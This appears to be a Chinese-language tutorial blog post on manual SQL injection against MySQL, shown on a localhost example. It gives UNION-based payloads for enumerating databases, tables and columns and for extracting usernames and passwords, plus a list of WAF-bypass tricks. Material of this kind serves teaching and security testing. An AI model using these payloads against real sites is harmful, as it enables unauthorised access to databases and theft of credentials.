sql手工注入

手工注入
关于盲注,报错,延时注入脚本(需要一个一个字符判断,人工判断太耗费时间)
以下均以http://127.0.0.1/index.php为例
sql注入的原理,在写入数据库或者查询等地方,对用户输入的数据未进行过滤,导致恶意构造的语句带入到sql执行语句中执行
手工注入在绕过某些waf,以及理解相关语句具有很大的优势,在php代码审计中能够更容易审计到sql相关漏洞
流程
判断注入点
判断列数
注入语句
是否存在注入点
waf是否注释了某种字符<";’> 某种语句 select,union,sleep等
判断注入类型
数字类型注入
select *from table_name where id=1
直接引用用户输入没有引号

http://127.0.0.1/index.php?id=1
可以在后面添加

id=1’(网页显示错误)
查询数据库语句变为
select *from table_name where id=1’(存在一个单引号导致语句报错)

id=1 and 1=1(网页显示正常)
查询数据库语句变为
select *from table_name where id=1 and 1=1

id=1 and 1=2(网页显示错误)
查询数据库语句变为
select *from table_name where id=1 and 1=2

1 or 1=1(网页显示正常)
查询数据库语句变为
select *from table_name where id=1 or 1=1

字符类型注入
http://127.0.0.1/index.php?id=‘1’
引用用户输入存在引号
添加1’
查询数据库语句变为
select *from table_name where id=‘1’’(存在三个单引号导致语句报错)
页面显示出错

添加1’and ‘1’=‘1
查询数据库语句变为
select *from table_name where id=‘1’ and ‘1’=‘1’(查询语句正常)
页面显示正常

添加1’and ‘1’=‘2
select *from table_name where id=‘1’ and ‘1’=‘2’(1≠2,查询语句错误)
页面显示错误

也可以联合注释符(/**/,#,–+)使用,注释后面的 ’
例如1’ and 1=1 --+
查询语句变为
select *from table_name where id=‘1’ and 1=1 --+’(注释后面的单引号,查询语句正常)

如果为1’ and 1=2 --+
select *from table_name where id=‘1’ and 1=2 --+’(1≠2,查询语句错误)

以下均已字符串注入为例,数字类型注入,去掉1后面的单引号即可
order by 判断列数(以列数为3,数值返回值为第二列为例)
添加1’ order by 3 --+
select *from table_name where id=‘1’ order by 3 --+’(3=3 查询语句正确,页面返回正常)

添加1’ order by 4 --+
select *from table_name where id=‘1’ order by 4 --+’(4>3 查询语句错误,页面返回错误)

需要使用union 和select判断回显位,后续的回显语句代替对应的数字即可

1’union select 1,2,3–+(根据页面回显数字判断,以下以数字2,为回显位)

通过报错显示出语句对应的信息

查询数据库名称
1’ UNION SELECT 1,database(),3 --+
查询语句变为
select *from table_name where id=‘1’ UNION SELECT 1,database(),3 --+’
即可在原本返回值为2的地方看到数据库名称

查询MySQL版本
1’ and 1=2 UNION SELECT 1,2,version() --+
查询语句变为
select *from table_name where id=‘1’ UNION SELECT 1,version(),3 --+’

可以使用concat()函数将所有的数据拼接返回
1’ UNION SELECT 1,concat(database(),version(),user()),3 --+’
group_concat()将返回值列转换为行

information_schema(mysql5.0版本以上固定数据库名)

查询所有的数据库名
information_schema from information_schema.schemata
数据库查询语句为
select *from table_name where id=‘1’ UNION SELECT 1,information_schema from information_schema.schemata,3 --+’

查询表名
group_concat(table_name) from information_schema.tables where table_schema=database()
数据库查询语句为
select *from table_name where id=‘1’ UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database(),3 --+’

查询列名
column_name from information_schema.columns where table_name=“table_name”
数据库查询语句为
select *from table_name where id=‘1’ UNION SELECT 1,column_name from information_schema.columns where table_name=“table_name”,3 --+’

查询数据
group_concat(user_id),group_concat(password) from users
数据库查询语句为
select *from table_name where id=‘1’ UNION SELECT 1,group_concat(user_id) from table_name,3 --+’

select 1,2 实际上为 select 1,select 2,所以在输入database() 不需要添加select
以上为mysql5.0以上版本 存在infomation_schema等规定的数据库 至于mysql5.0以下 不存在infomation_schema等数据库
这就是手工注入的流程
以下为 绕过方法均已select为例
1.大小写绕过
select->seLeCt
2.双写绕过
select->selectselect
3.插入绕过
select->seselectlect
4.编码绕过
ascii编码绕过
5.空格绕过方法
空格过滤绕过
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

6.过滤or and xor not 绕过
and = &&
or = ||
xor = | # 异或
not = !

7.过滤等号
like
rlike
使用大小符号
select * from users where id > 1 and id < 3;
<> 等价于 !=
所以在前面再加一个!结果就是等号了
详情见:https://blog.csdn.net/huanghelouzi/article/details/82995313
这篇仅为mysql5.0版本以上手工注入的基本流程,至于报错注入,延时注入,盲注等,使用sqlmap等工具可以直接探测
sqlmap为命令行工具 不喜欢命令行的 可以使用sqlmap-gtk ,超级注入工具这两款工具均有图形化界面

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值